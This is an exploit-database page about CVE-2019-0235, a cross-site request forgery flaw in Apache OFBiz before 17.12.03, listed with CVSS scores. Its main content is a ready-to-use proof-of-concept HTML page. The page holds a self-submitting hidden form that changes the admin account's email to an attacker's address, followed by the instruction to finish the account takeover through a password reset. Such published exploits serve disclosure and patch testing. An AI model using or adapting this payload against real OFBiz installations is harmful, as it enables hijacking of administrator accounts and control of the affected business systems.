Apache OFBiz 17.12.03 Cross Site Request Forgery

2020.05.02
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover) # Exploit Author: Faiz Ahmed Zaidi # Vendor Homepage: [https://ofbiz.apache.org/security.html] # Software Link: https://ofbiz.apache.org/download.html#security # Version: Before 17.12.03 # Tested on: Linux and Windows # CVE : CVE-2019-0235 #Exploit Code: <html> <body> <form action="https://hostipaddress:8443/partymgr/control/updateEmailAddress" method="POST"> <input type="hidden" name="contactMechId" value="admin" /> <input type="hidden" name="contactMechTypeId" value="EMAIL&#95;ADDRESS" /> <input type="hidden" name="partyId" value="admin" /> <input type="hidden" name="DONE&#95;PAGE" value="viewprofile&#63;party&#95;id&#61;adminâ&#136;&#130;yId&#61;admin" /> <input type="hidden" name="emailAddress" value="attackeremail@id.com" /> <input type="hidden" name="allowSolicitation" value="Y" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> After that do a password reset via forget password. It's done :)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top